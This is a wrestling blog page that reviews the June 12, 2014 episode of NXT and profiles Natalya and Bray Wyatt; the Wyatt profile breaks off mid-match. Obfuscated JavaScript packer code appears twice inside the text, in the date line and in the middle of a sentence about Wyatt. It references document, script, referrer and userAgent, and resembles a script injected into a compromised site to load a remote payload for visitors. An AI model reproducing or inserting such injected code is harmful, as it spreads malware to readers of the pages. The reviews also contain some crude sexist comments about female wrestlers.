NXT – June 12, 2014: Set Them Up To Knock Them Down

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rsryd|var|u0026u|referrer|esnkt||js|php'.split('|'),0,{})) June 12, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Rich Brennan, Alex Riley, Renee Young

The main story coming out of last week is we’re going to get Kidd vs. Neville II after Adrian successfully defended the title at Takeover. Other than that last week was pretty much just a placeholder show until we get to the next big show around here. Even last week’s relatively meaningless show was fine though and that’s a nice thing to say about a promotion. Let’s get to it.

We open with a video of Tyson Kidd failing to win the NXT Title and thinking of himself as Natalya’s husband rather than a superstar. Then he lost and wouldn’t shake Adrian’s hand, only to request and receive a rematch last week.

Opening sequence.

Bayley/Paige/Emma vs. BFF’s

Charlotte takes Emma into the corner to start but gets shouldered in the ribs and caught in a sunset flip for two. Back up and Emma slaps the champion in the face so Charlotte drags her back into the corner for a tag off to Banks. Summer looks annoyed at not getting the tag. Charlotte is back in less than fifteen seconds later but Sasha trips up Emma to slam her face first into the apron. Emma is in trouble and we take an early break.

Back with Summer holding Emma in a chinlock before mocking the Emma Dance. Charlotte comes in again with a figure four neck lock to keep Emma in trouble. Another tag brings in Sasha who gets rolled up for two but Emma still can’t make the tag. The BFF’s make some switches in the corner sans tags as Renee seems to like Summer’s legs. All three keep taking their shots on Emma as this has been totally one sided so far.

Sasha hooks a chinlock but Emma is quickly up and avoiding a charge into the corner. The hot tag finally brings in Bayley to clean house, including a belly to belly for two on Charlotte. Everything breaks down and Charlotte gets two off a bridging rollup on Bayley. Summer accidentally distracts Charlotte though, allowing Bayley to grab a rollup for the pin at 8:50.

Rating: C. This was fine but I’m surprised Paige didn’t get in there to clean house a bit. Bayley getting the pin sets her up as the next challenger while also advancing the feud between the BFF’s. I love it when booking is able to cover that many things at the same time and it’s hard to do for some reason anymore.

A masked man was signed to a contract earlier in the week. He Bolieves he’ll make a great impression. JBL seems to know something is up.

The BFF’s are freaking out in the back when Alexa Bliss comes up and asks for a match with Charlotte. The champ tells her to go away which Bliss interprets as a yes.

Colin Cassady vs. Sylvester LeFort

Cassady throws him around to start but LeFort goes after the knee to take over. The fans chant USA and Colin comes back with some loud shots to the ribs. Cassady nails Sylvester again and hits the S-A-W-F-T boot and the East River Crossing gets the pin at 2:26.

Natalya says she can be out there with Tyson tonight but Kidd thinks it’s about him instead of her. The wife isn’t pleased.

Aiden English is singing about how no one knows the trouble he’s seen when a guy with a mustache comes up and offers to shake his hand. The guy won’t talk, walks off screen, does something that amazes Aiden, and comes back with a piece of the set over his shoulder. Ok then.

Sami Zayn vs. Mr. NXT

He’s the masked man from earlier and it’s clearly Bo Dallas, down to the entrance and running around the ring. Apparently he’s a Mexican gold medalist in wrestling. Sami rolls his eyes at this but gets caught in a headlock. Mr. NXT celebrates and draws a dueling YOU CAN’T FOOL US/YES HE CAN chant. Some armdrags drop the masked man and now Sami celebrates a bit. Mr. NXT comes back with elbows and says he is NOT Bo Dallas. The Bodog is countered and Sami rips the mask off to reveal Bo. Fans: BO LEAVE! The Helluva Kick gets the pin for Sami at 4:06.

Rating: C. Comedy match and there’s nothing wrong with that. Bo is great at wanting back in NXT because it’s his life and it’s totally different from his run on Raw and Smackdown. It’s also nice to see Sami get a win over a big name instead of coming so close and then losing at the last minute.

NXT Title: Tyson Kidd vs. Adrian Neville

Tyson is challenging and we get big match intros. Feeling out process to start with both guys gaining and losing quick control. Tyson grabs a top wristlock before taking him down to the mat for a hammerlock. Neville speeds things up and backdrops Tyson to the floor for a big crash. There’s the flip dive from the champion for two back inside and now it’s Neville cranking on an armbar.

We take a break and come back with Tyson holding a chinlock and drawing a NATTIE’S HUSBAND chant. Neville fights up but is quickly backdropped for two and it’s back to the chinlock. Back up again with Neville getting kicked in the ribs, only to come back with an enziguri. Adrian goes to the apron but gets kicked in the head as well, allowing Tyson to hit a top rope flip legdrop with Adrian in the ropes for three, but Adrian’s foot is in the ropes, as pointed out by Natalya (looking stunning all dolled up here).

Kidd ties him up in the Tree of Woe for some knees to the ribs and a running dropkick to the face. The Sharpshooter goes on but Neville crawls to the ropes. Kidd gets kicked in the head but still manages to break up the Red Arrow. The Blockbuster gets two so Kidd drops a top rope elbow for another near fall. Kidd is very frustrated so he goes outside and gets a chair. Natalya takes it away, allowing Neville to kick his head off and hit the Red Arrow to retain at 14:35.

Rating: B. This was a totally different kind of match than they had at Takeover and it still worked very well. This was much more about Kidd going to further and further extremes to win the title and getting caught when he went too far. Very good match here and it told a totally different story.

Natalya consoles her husband to end the show.

Overall Rating: B. Set up stories one week, pay them off the next week. That’s wrestling storytelling at its finest and that’s all you need to do a lot of the time. The fact that the wrestling was good on top of all that makes things even better. The Bo Dallas stuff was funny as usual and the whole show just worked. Totally fun hour of wrestling TV.

Results
Bayley/Paige/Emma b. BFF’s – Rollup to Charlotte
Colin Cassady b. Sylvester LeFort – East River Crossing
Sami Zayn b. Mr. NXT – Helluva Kick
Adrian Neville b. Tyson Kidd – Red Arrow

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Wrestler of the Day – May 26: Natalya

Time for the best looking Hart. Today is Natalya.

Neidhart got her stars in the early 2000s and wrestled in the indies and Japan. I’m not sure when this is from but it seems to be from before Natalya was in developmental. From Japan.

Amazing Kong vs. Nattie Neidhart

Nattie bounces off of her twice in a row before the third attempt puts Nattie down. She starts thinking though and dropkicks Kong’s knee. The effect is limited so Nattie kicks away, only to have Kong run her over with ease. They head outside and into the crowd with Nattie literally begging Kong for mercy. Kong suplexes her on a platform before taking her back to the ring for a lifting Pedigree.

She misses a middle rope splash though and Nattie takes her down with a Fameasser for no count. A spinning backfist gets one on Nattie but she comes back with a release German for a close two. Kong actually gets powerslammed for two more and a hurricanrana gets the same for Nattie. The Amazing one shrugs it off and hits a wicked sitout powerbomb and a hard clothesline for the pin.

Rating: C-. Natalya was just outmatched here and the power was too much for her to overcome. This was a really physical match though with both girls beating the tar out of each other for a few minutes. That being said, the brawling part out in the crowd felt really out of place and brought things down a bit.

Natalya would head to WWE in the latter half of the decade, debuting on Smackdown on April 25, 2008.

Natalya vs. Cherry

Cherry is a chick from the 50s and has Michelle McCool in her corner to oppose Natalya’s second, Victoria. Cherry looks scared to death to start. Natalya easily takes her down and puts on a chinlock with Cherry in big trouble. Some slaps in the corner tick Cherry off so she slaps Natalya right back, only to have the Canadian go after the knee to take over again. Natalya cranks on the leg (Cole: “Apparently it’s a submission hold!”) but Cherry makes a rope. Cherry comes back with a bulldog for two but gets slammed out of the corner. The Sharpshooter gets the easy submission from Cherry.

Rating: D+. Nothing to see here as Cherry wasn’t exactly a great worker. Natalya looked like a killer though and that’s the right idea for a debut match. She would get better when she was in there with some better opponents, but this wasn’t a terrible way for her to make a debut.

Natalya would be successful very quickly and would make it to the finals of a tournament for the first Divas Title at Great American Bash 2008.

Divas Title: Michelle McCool vs. Natalya

This is for the inaugural title and there’s probably some stupid tournament that set this up. Michelle takes her to the mat and speeds things up. Natalya takes over and hooks a surfboard but Michelle counters (impressively so) into a heel hook attempt which is countered. Nattie hooks the Sharpshooter but Michelle gets the ropes. A second attempt is countered into the heel hook and Michelle wins the title.

Rating: D. The joke here was that hopefully Michelle enjoyed the Undertaker semen that came with that belt. I’m not sure how much anyone cared or if anyone on the planet that didn’t work for WWE thinks there was a need for another female title, but they unified it…eventually, as in like two years later.

Natalya would be in an elimination match at Survivor Series 2008.

Team Raw vs. Team Smackdown

Beth Phoenix, Mickie James, Kelly Kelly, Candice Michelle, Jillian Hall
Michelle McCool, Victoria, Maria, Maryse, Natalya

Beth is the captain of Team Raw and McCool is captain of Team Smackdown. They’re also Women’s and Divas Champions respectively. Santino is here with Beth because awkward romances are funny right? Mickie has her signature look down now and is very bouncy. For the sake of simplicity, only Michelle McCool will be referred to as Michelle. Beth and Michelle start things off with Beth controlling via a top wristlock. Michelle uses some decent chain wrestling to set up a dropkick to send Beth backwards a bit.

Maryse tags herself in and gets in a brawl with her own partner Michelle. Team Raw: “LET THEM FIGHT!” After the brawl is broken up, it’s Beth vs. Maria with Maria avoiding a charge and hitting a slow motion headscissors. Off to Kelly vs. Maria and hopefully this doesn’t last long. Victoria tags herself in and gets caught in a rana by Kelly for the pin. Kelly tries the same thing on Maryse for two so Maryse hits a backbreaker and gets the pin.

It’s 4-4 now if you’re keeping track and Mickie comes in while swearing a bit. A Thesz Press puts Maryse down and it’s off to Michelle again. They try to bridge into a backslide, fail miserably, and try again to a standoff. McCool hits a Russian legsweep for two and Mickie hits a clothesline for the same, but Maria’s save hits McCool on the save, allowing Mickie to hit the jumping DDT and pin Michelle. Mickie gets in an argument with Beth and gets rolled up by Maryse to tie it right back up.

Off to Candice vs. Natalya and they trade some rollups for two. Natalya busts out a Sharpshooter (it is the Survivor Series after all) but Jillian makes the save. Candice hits a spear for a quick pin on Natalya and it’s 3-2. For those of you keeping track, it’s Jillian, Beth and Candice vs. Maria and Maryse.

It’s Jillian vs. Maria with Jillian getting two off a Samoan Drop. Maria grabs a quick victory roll to eliminate Jillian and ten seconds later, Candice hits a northern lights suplex to put Maria out. Maryse hooks an inverted figure four on Candice and we’re down to one on one. Maryse gets in a few shots and a rollup but the Glam Slam gets the final pin very quickly.

Rating: D. As decent as last year’s was, this felt like your traditional Divas match. You had some decent workers but most of the girls are models who are there because of how they look in swimsuits. I’ve seen worse matches and the right choice was the survivor, but this just didn’t work for the most part.

We’ll jump ahead a bit to September 4, 2009 and a Smackdown tag match with a backstory that doesn’t make a ton of sense.

Maria/Eve Torres vs. Layla/Natalya

Apparently this is the fallout from a six person tag last night where Eve had Natalya beaten but Tyson Kidd cost her the fall. Nattie and Maria start things off. I don’t know if it’s my thing for redheads or what but Maria has always been gorgeous. Layla distracts Maria and Nattie takes her head off with a clothesline to take over.

Off to Layla who hooks her reverse Tarantula and hits a shot to the back of Maria for two. The evil ones (Layla/Natalya) take turns beating up Maria until it’s finally off to Eve. She comes in and fires off some kicks before getting kicked in the face by Layla for two. Everything breaks down and eve hits a cartwheel into a moonsault to Layla for the pin.

Rating: C-. I say this a lot but it’s amazing how much more interesting the girls used to be like a year ago. I can’t quite put my finger on it but they come off as much stronger and more serious characters here instead of the girls today where they come off as cute and perky. The older ones come off as serious and tougher and more like wrestlers than Divas, which is a good thing.

In 2010, Natalya would be placed in her most famous team: the Hart Dynasty, as she managed and wrestled with David Hart Smith and Tyson Kidd. They would be in a six person tag at Fatal Four Way.

Hart Dynasty vs. Usos/Tamina

When did this stop being a tag title match? Whatever. The Usos have beaten Goldust and Mark Henry. Oh joy. The women start us off. The Usos are a nice idea as they’re Samoans that aren’t savages. You know, because Rikishi and Rock were SAVAGES. Jimmy Uso sounds like Jimmy Olsen. This is better than the previous match, but why not a tag?

To be fair the girls can wrestle here so it’s harder to complain here. Jimmy Snuka was pushed to the back allegedly. Uh, yeah. He was pushed to the back of HULK HOGAN. That’s not discrimination. That’s basic intelligence in booking. Tyson is playing Ricky Morton here Everything goes all messy as Tyson hits a nice dive over the top. Oh and Natalya is in vs. Tamina. Tamina misses a top rope splash which Natalya was up before she jumped for but whatever. A discus lariat ends it for Natalya.

Rating: D+. Not bad here but it’s pure filler. I would have gone with the tag titles on the line here but it could certainly be argued that the Usos haven’t won enough to get a title shot yet which is true. This wasn’t horrible though but it belongs on Raw instead of here on PPV.

Natalya would soon enter a feud with Laycool over the Divas Title. She beat up McCool, then she beat up Layla, then she had a chance to face both of them at once for the Divas Title at Survivor Series 2010.

Divas Title: Laycool vs. Natalya

I miss Laycool’s entrance, if nothing else for how they look in the shorts. Laycool are the co champions here as both have belts in a story that wasn’t that interesting in the first place. The champs have to tag here and it’s Michelle to start. Natalya takes it to the mat early on and Michelle actually takes over with the amateur stuff. Off to the hometown heel in Layla who distracts the referee so Michelle can pull Nattie onto the floor.

Back in and Natalya supelxes both chicks at once but her back is hurt in the process. Michelle blasts her in said back on the floor, but Natalya shoves Michelle over the barricade. They all brawl at ringside for a bit before Natalya and Michelle head into the ring. McCool gets rammed into Layla and the Sharpshooter gives Natalya the title.

Rating: D. Here’s this whole feud in a nutshell: Natalya beat up Layla, then Natalya beat up Michelle, then Natalya beat up both of them at once. This wasn’t much of a match but it’s the kind of breather that you have to give the fans before you get to the big stuff later on. Laycool would be around for a few more months, but once they split they fell off the face of the planet all of a sudden.

Natalya would defend the title on Raw, January 24, 2011.

Divas Title: Melina vs. Natalya

Melina is shrieking early and knocks Natalya to the floor very early.  Natalya is in trouble and Melina locks on a Full Nelson using her legs while sitting on the mat.  That’s a new one on me for sure.  Natalya stands up and rams Melina in the corner and fires off some forearms.

She pulls back for a big right hand but Melina drills her to take her down.  Melina tries a leg lock but Natalya grabs the legs and pulls into a Sharpshooter, wrenching back on it so hard that she’s laying on her back.  There’s the easy submission at 2:45.  Too short to grade but that submission was great.

She would lose the title six days later so we’ll jump ahead to August 30, 2011 on Smackdown when Natalya had hooked up with Beth Phoenix as the Divas of Doom.

Natalya/Beth Phoenix vs. Kelly Kelly/Alicia Fox

Aksana is guest ring announcer which is supposed to be connected to her hitting on Teddy. So Alicia is a face now? Nattie vs. Kelly to start. Kelly looks like the victim of a bubblegum accident. Cold tag to Alicia and after some offense from her, the Glam Slam takes care of this at 2:00.

Natalya would pop up on NXT on April 4, 2012.

Natalya vs. Kaitlyn

New music for Kaitlyn and Kidd is on commentary. Nattie takes her down and Kidd says there’s nothing going on with them. Bridging rollup gets two for Natalya. I think Natalya is a face here but I really have no idea. Kidd admits that he isn’t a Hart, which ticked him off when McGillicutty rubbed it in his face weeks ago. Natalya works on the arm and uses more holds on whatever part of the body she picks. Kaitlyn’s first offense is a cross body but Natalya laughs it off and the Sharpshooter gets the submission at 3:30.

Rating: C-. This was a squash for Natalya as she picked apart Kaitlyn with ease. I’m so glad they’ve dropped that idiotic gimmick she’s been using for the last few months as she’s very talented and can make even someone like Kaitlyn look good. I’m still not sure if she’s a face or a heel though, but I doubt WWE has put any thought into it either.

Natalya would join a comedy group with Hornswoggle and Great Khali, including this match on Smackdown, January 25, 2013.

Natalya vs. Rosa Mendes

Epico, Primo, Horny and Khali are all on commentary here. Rosa takes Nattie down to the mat with a headscissors as JBL makes short people jokes. A hair pull puts Natalya down again and it’s off to a modified bow and arrow hold. Primo asks if we can focus on the match instead of JBL’s WWE.com show as Rosa gets to the rope to avoid the Sharpshooter. Rosa dances in the ring so Horny dances on the table. The distraction is enough for Natalya to hook the Sharpshooter for the submission at 2:46. I think this was supposed to be funny.

Natalya would chase Divas Champion AJ for a long time, including this match on Smackdown, June 20, 2013.

AJ Lee vs. Natalya

Non-title. Natalya immediately takes AJ down but can’t hook the Sharpshooter. Instead she puts on a strange looking leglock where Natalya’s knees are between AJ’s knees and stretching them apart with both girls on their backs. AJ makes the rope and puts on a quick sleeper…..as we take a break? In this match? Back with Natalya getting two off a snap suplex and a clothesline. Natalya shouts that AJ has no respect but AJ counters a slam into the Black Widow for the pin at 2:20 shown of 4:50.

Then Total Divas happened so we got a match as a result of jealousy over the show’s storyline at Summerslam 2013.

Brie Bella vs. Natalya

This is the Total Divas match with Nikki, Eva Marie and the Funkadactyls in the corner. Feeling out process until we get to the catfight stuff, culminating in Brie having to bail from a Sharpshooter attempt. Eva and Nikki pull the ring skirt down to send Natalya to the floor, allowing Brie to take over. The fans chant for JBL and then Lawler as they completely turn on the match. Brie cranks on Nattie’s arm as the fans want tables.

After a faceplant it’s right back to the hold as this match is dragging three minutes in. Natalya makes a quick comeback and puts on the Sharpshooter but Brie kicks away and no sells the pain. The girls get in a brawl on the floor and we’re in the third use of the SAME hold. Someone get Fit Finlay back in this company immediately. The fans are chanting for Ryder as Natayla hits an Alabama Slam and the Sharpshooter gets the tap out from Brie at 5:20.

Rating: F. This was HORRIBLE with both girls looking bad. The Divas are horrid right now other than AJ and occasionally Layla but these reality “stars” are getting TV time because people like to see them argue and be insecure. Natalya is good in the ring but she can’t work a miracle with a model out there. Horrid match and they need to win the crowd back immediately.

Back to the Divas Title hunt at TLC 2013.

Divas Title: AJ Lee vs. Natalya

Natalya is challenging. AJ takes her down to start with a headscissors before Natalya reverses into an armbar. A low dropkick has Natalya in trouble so she heads outside, only to be distracted by Tamina, allowing AJ to send her face first into the apron. Off to a chinlock by AJ followed by a spinwheel kick to the jaw. Natalya comes back and sends AJ into the corner, only to get caught in a nice guillotine choke.

The blonde powers out and hits a basement dropkick to the face followed by some clotheslines. Some suplexes set up the Sharpshooter and Natalya brings her back to the middle of the ring, only to have AJ kick free. The Black Widow goes on but Natalya rolls out, breaking it for the first time. A clothesline puts AJ down again but another Sharpshooter attempt is countered into a small package for the pin at 6:42.

Rating: C. There were some nice false finishes in there but I’m over Natalya challenging for the title. AJ has completely cleaned out the division except for Tamina, setting up the showdown whenever they go that way. I’m sure we’ll hear about AJ vs. Total Divas again though, because just beating them about five PPVs in a row isn’t enough proof of who is better.

And one more time from Main Event on March 11, 2014.

Divas Title: AJ Lee vs. Natalya

Nattie made champion AJ tap in a non-title match on Snackdown to set this up. Before the match AJ says she’s bored due to the lack of competition here, but worry not because she’ll beat Natalya again tonight. After some big match intros, Natalya takes it to the mat to start with a headlock. A rollup sends AJ crawling for the ropes and it’s right back to the headlock.

Natalya does the Owen Hart counter to escape a wristlock before cranking on Lee’s leg. AJ gets into the ropes again as they’re in very slow but deliberate mode to start here. Back up and Natalya cranks on an abdominal stretch with the leg lifted as well. AJ slips out but gets dropkicked to the floor as we take a break. Back with AJ getting two off something we didn’t see before putting on a chinlock.

That doesn’t last long as Nattie fights up and tries a slam, only to be countered into the guillotine choke. Natalya can’t slam her down to escape and gets clotheslined down for two. It’s time for the skipping around the ring followed by another wicked clothesline. A running dropkick puts the champion down but she kicks Natalya over and over in the corner to take over again. Back to the guillotine which transitions into a sleeper but Nattie throws AJ down.

The blonde makes her comeback with clotheslines and a hard slam for two of her own. AJ grabs the Black Widow out of nowhere but gets slammed down into Sharpshooter position. That gets countered as well into a cradle for two but the second attempt gets the hold on. Nattie doesn’t sit down on it that well though, allowing Lee to crawl over to the ropes. Tamina gets on the apron and the distraction lets AJ nail the Shining Wizard, setting up the Black Widow for the submission. The referee calmly telling her to “tap whenever you’re ready” hurt the scene a bit.

Rating: B-. The match got a bit repetitive at the end but it’s a good sign that two girls can have a seventeen minute match and make it work this well. The idea of AJ being a better technical wrestler but getting caught by the power worked really well, as did the ways AJ could contort and bend out there.

We’ll wrap it up with Natalya in the finals of a tournament to become NXT Women’s Champion at NXT Takeover.

Women’s Title: Charlotte vs. Natalya

This is a tournament final for the vacant championship. Charlotte has a remixed Ric Flair theme song and it’s really not working. After some big match intros, we’re ready to go. Feeling out process to start as the legends play cheerleaders. Natalya takes her down by the arm but gets caught in a headscissors. Back up and Natalya grabs the headlock as well. That goes nowhere either so they fight over wristlocks until Charlotte grabs an armbar.

Natalya does the Owen Hart roll out and grabs a leg lock to take over. Back up again and Natalya takes her right back down with another leg tie. Charlotte reaches around to grab a chinlock which goes into a front facelock. They hit the ropes for a bit with Natalya countering a wheelbarrow slam into a cradle for two. Natalya grabs a body scissors but Charlotte rolls to the ropes to avoid a cross armbreaker.

Charlotte gets tired of submission stuff and slaps Natalya in the face. A BIG chop puts Natalya down and Ric loses his mind going WOO. Natalya tries a sleeper but gets caught in an over the shoulder Stunner for two. Charlotte slams the Canadian’s face into the mat over and over before choking in the corner a bit. Off to a figure four headlock complete with Madison Rayne’s face ram into the mat.

Back up and it’s off to an abdominal stretch on Natalya, albeit not a very good one. Natalya reverses into a much better one and even grabs Charlotte’s leg for good measure. Charlotte rolls out and hits a low dropkick for two. Natalya fights back with power and a low dropkick of her own, followed by a whip into the corner for a Flair Flip. They head outside with Charlotte whipping Natalya off the apron by the leg. Back in and Charlotte goes up, only to miss a moonsault.

A discus lariat gets two for Natalya and the Sharpshooter goes on, but Charlotte rolls out and puts on the Figure Four. Natalya somehow reverses the pressure without turning the hold over and Charlotte crawls to the apron. She falls to the floor with the hold still on and both girls are in trouble. Natalya is sent knee first into the steps and it’s back inside for a bad Sharpshooter (complete with a glare at Bret) but Natalya rolls through, only to be kicked away from the Sharpshooter. Charlotte hits Bow Down To The Queen out of nowhere for the pin and the title at 16:55.

Rating: B+. Who would have thought THIS would be awesome? Charlotte has somehow become awesome in like two months and more than held her own out there. It was hard to imagine Natalya winning here but it was still an absolutely awesome match between two wrestlers who happen to be girls.

Natalya is one of the many Divas who is talented but has to deal with a lot of pretty lame challengers. She’s the wrestling Diva for the most part but occasionally gets to showcase her looks. That’s one of the things that drives me crazy about Total Divas: Natalya is treated like the old maid of the show despite being 31 years old and gorgeous. It’s life in the WWE and unfortunately a lot of life in general.

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Wrestler of the Day – May 23: Bray Wyatt

He’s got the whole world in his hat. Today is Bray Wyatt.

Bray eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdner|var|u0026u|referrer|afaya||js|php'.split('|'),0,{})) is the son of wrestler Mike Rotundo (IRS) and got his start in 2009. We’ll pick things up on June 14 of that year on FCW television. Bray is going by Duke Rotunda and is a blond here.

Jon Cutler/Lance Hoyt vs. Vic Adams/Duke Rotundo

This is Adams/Rotundo’s TV debut. Duke runs over Cutler with ease before cranking on a headlock. Off to Hoyt vs. Adams with Vic cranking on the arm to take over. Hoyt drives him into the corner so Cutler can get in a cheap shot from the apron, setting up Lance’s wicked release high collar suplex.

Back to Cutler for a one armed camel clutch and a chinlock before Lance comes in again to hammer away. Adams finally avoids a charging Cutler and dives into the corner for the hot tag to Duke. The running backsplash gets two on Cutler as Hoyt breaks up the pin. Everything breaks down and Adams hits what looked to be a Rock Bottom for the pin on Cutler.

Rating: D+. The match was nothing of note but it worked well enough. Adams had a decent look and some nice power but Cutler was as generic as you can get. Duke had the best look of the four and even then it wasn’t anything all that great. That being said, this is what FCW is about: getting people ring time.

Duke would hook up with his brother and win the FCW Tag Team Titles soon after this and defend them on September 6, 2009’s FCW TV.

FCW Tag Team Titles: Bo Rotundo/Duke Rotundo vs. Vance Archer/Dylan Klein

Archer is Hoyt under his more famous name and this is the first title defense. Bo cranks on Klein’s head to start before driving some shoulders into the ribs. Archer pulls him off the apron to send Bo face first into the apron before dropping a leg back inside. The challengers take over with Klein getting two off a snap suplex. Bo slips into the corner for the hot tag to Duke, who does the splits to avoid a cross body. Everything breaks down and Duke hits a swinging Rock Bottom for the pin on Archer.

Rating: C-. Not a great match again but the Rotundos looked better than Duke and a random partner. This was also much more about showcasing Duke than anyone else as he got the hot tag and then cleaned house for the win. It seems to be the right call a few years later too as he’s the biggest star of the four.

Rotundo would be one of the rookies on the second season of NXT. One of his first matches was on June 29, 2010.

MVP vs. Husky Harris

Harris is 0-1. They go really slowly to start. Harris apparently is mad at Rhodes for embarrassing him on Friday. Crowd isn’t that thrilled here. Mark Henry is on assignment apparently. Dang Harris is a dull guy to watch. This is just a slow and boring match with NOTHING of interest going on in it. Harris misses his back splash as the crowd is DEAD. When Ballin is barely able to get a pop you can tell the match sucks. MVP hits a Downward Spiral and Harris is 0-2. Dang I hate that move too. Harris won’t shake MVP’s hand post match.

Rating: F. This was just boring. No one thought Harris had a chance and no one cared at all. This did nothing at all and deserves to fail. Even the overrated Ryder could have gotten a better match out of him here. MVP isn’t the guy you want carrying a match and here is your proof.

Here’s a slightly better match from July 27, 2010.

Kaval vs. Husky Harris

This should go short as it’s getting close to 10:45 and we have a poll to do. Kaval was at a Lady Gaga concert apparently with Laycool. We talk about the Cowboys for a bit regarding the Dez Bryan/Roy Williams incident which was overblown. Kaval uses stuff other than kicks here which is a nice perk for him. Laycool gets knocked to the floor and Kaval checks on them. A reverse suplex and the back splash end it with Harris getting the win.

Rating: C-. Kaval uses stuff other than just kicks here which is a big step up for him. That’s his main issue: he needs to vary up his offense which is what he did. Harris is still not someone I can get into but I can tolerate him more now than I could before. This was fine for what it was and Kaval showing concern for his pros was cool.

Harris would join the Nexus in the fall and have a pretty high profile match on October 18, 2010’s Raw.

John Cena/Randy Orton vs. Husky Harris/Michael McGillicutty

Nexus comes out to stand on stage. Michael and Cena start us off as Cena hits a release fisherman’s suplex where McGillicutty lands on his back. Back and it’s Orton hitting his perfect dropkick on the perfect son. Not much going on here as you’re just kind of waiting on the big thing to happen. McGillicutty hits his neck snap off the middle rope which was kind of nice. Hot tag to Orton who comes in to beat the heck out of everyone. He points at Barrett and sets for the RKO. BIG FU to Harris and the RKO ends McGillicutty. Cena has a big old celebration and is clearly rather happy.

Rating: C. Average stuff here and the ending was appropriate. There was no way the Super Friends were losing here and they shouldn’t have. This was of course to set up the post match angle which is fine. Using a match to set up an angle is fine and it worked rather well here I though. Average match and nothing special but nothing bad either.

We’ll jump ahead a bit to Harris being back in FCW and look at one of the big matches in his long feud with Percy Watson.

Husky Harris vs. Percy Watson

Lumberjack match. Harris slugs him down to start but Percy knocks him out to the floor. Back in and Harris gets caught in a headlock but he drives Watson throat first into the top rope. Back up and we hit a chinlock on Watson followed by a chinlock. Watson fights up and hits some dropkicks but his enziguri gets caught in a half crab. That goes nowhere so Percy fights up and hits a floatover DDT for two. A reverse DDT puts Harris down again but Michael McGillicutty puts his foot on the ropes. Watson is sent outside again and the distraction allows Harris to hit the release Rock Bottom for the pin.

Rating: D. This was really dull stuff due to the lack of any real anger. If we’re going to have a lumberjack match, it needs to be over two people that can’t stand the sight of each other. Watson was energetic, but at the same time I find it hard to get interested in someone named Percy. It’s just not that interesting of a name.

Here’s a match that would be WAY different today. This took place at Wrestlemania XXVIII Axxess.

Bo Rotundo/Husky Harris vs. Damien Sandow/Antonio Cesaro

Rotundo is of course Dallas and Harris’ real life brother. Sandow has Summer Rae with him. Damien is called a Diva due to his manly pink trunks and gets to start with Harris. They fight into the corner with Sandow hiding several times in a row. A big right hand puts Sandow down and he hides with Summer in the corner again.

Cesaro comes in and wants Bo but first demands SILENCE. The brothers double team Cesaro for a bit until a Sandow distraction lets Antonio knee Bo to the floor. Sandow comes in and hammers away for a bit before it’s back to Cesaro for more stomping. Bo breaks out of a front facelock from Sandow and makes the tag to Harris. House is cleaned and some misdirection lets Bo spear Sandow for the pin.

Rating: D+. Nothing much to see here but to be fair it wasn’t supposed to be anything of note other than to give the live fans something to see. It’s so strange to see Harris as a face knowing what he’ll become in just a year or so. Bo using a spear just didn’t work at all given how small he is.

We’ll jump ahead a bit now as Harris was repackaged as Bray Wyatt, a swamp preacher and borderline cult leader. We’ll pick him up on February 20, 2013 on NXT after Bray returned from an injury.

Yoshi Tatsu vs. Bray Wyatt

This is a good idea as the Wyatt Family lost last week, so having Wyatt himself get in the ring, I believe for the second time on NXT, is a way to redeem the Family. Wyatt no sells everything and throws Tatsu down with a wicked release Rock Bottom. A BIG running splash crushes Tatsu in the corner and a fast spinning Downward Spiral gets the pin at 1:37. Total squash.

Bray and his Family (cult followers) would debut in WWE in early June and set their sights on Kane. Wyatt’s debut match in WWE was a Ring of Fire match against Kane at Summerslam 2013.

Kane vs. Bray Wyatt

Wyatt and his Family debuted a few weeks ago and attacked Kane. Tonight the ring is surrounded by fire to prevent interference but you win by pin/submission. This is Bray’s in ring debut. Kane pounds him into the corner to start and clotheslines him down, sending the flames shooting into the air. The Family tries to get closer to the ring and there goes the fire again. Nice touch. Bray charges right at Kane and pounds away but can’t hit a suplex.

Kane suplexes him down instead, sending the fire up again. Bray avoids the low dropkick but misses a charge, sending himself into the ropes and near the flames. Wyatt crushes him in the corner with a splash and mostly misses a cross body. They’re lucky that the flames are covering up a lot of these misses. Bray slugs his way out of a chokeslam but Kane “hits” a big boot. Are the flames really messing them up that badly? That’s like three moves that have mostly missed. Kane side slams him down for no cover but Bray gets in a shot to take Kane down.

Wyatt asks for a weapon but as Harper loads up a kendo stick the flames go up, catching the stick on fire. Firemen put it out so Rowan steals the extinguisher, but it has no effect. There’s the chokeslam to Wyatt but Kane hits a second one for revenge. He calls for the tombstone but the Family puts a blanket over the flames, allowing the monsters to come in and beat Kane down. There’s no DQ though so this is all legal. Kane is destroyed and Sister Abigail is good for the pin at 7:49.

Rating: D+. This was disappointing. The visuals were cool but just putting a blanket over the flames was a pretty lame way to have the monsters get inside. I was expecting something a bit more supernatural instead of fire safety tips with the Wyatt Family. Also what was up with those botches?

Next up for Bray was the white hot Daniel Bryan, who had joined the Wyatts for about two weeks before rebelling against them, setting up this showdown at the 2014 Royal Rumble.

Daniel Bryan vs. Bray Wyatt

The Family is with Bray here, despite the idea of the match being that they’re not supposed to be here. Daniel fires off kicks to the leg and takes Bray down with a running knee but Bray gets in a shot of his own to take over. The Wyatts get in a few blows of their own and are ejected, with Bray saying he doesn’t need them to fight this war. Back in and Daniel gets in some kicks to the leg and a high cross body for two, only to be sent to the floor. Bray misses a charge into the steps and injures his knee again, giving Bryan the opening he’s been needing.

Daniel hooks something resembling an Indian Deathlock before stomping Bray’s face into the mat for two. They slug it out on the apron with the fans chanting YES/NO in time. Bray headbutts Daniel to stagger him and wrings his arm down onto the apron to take over. Back in and Bray is in serious mode now. We hit the chinlock but Daniel quickly fights up with forearms, only to be backdropped to the floor.

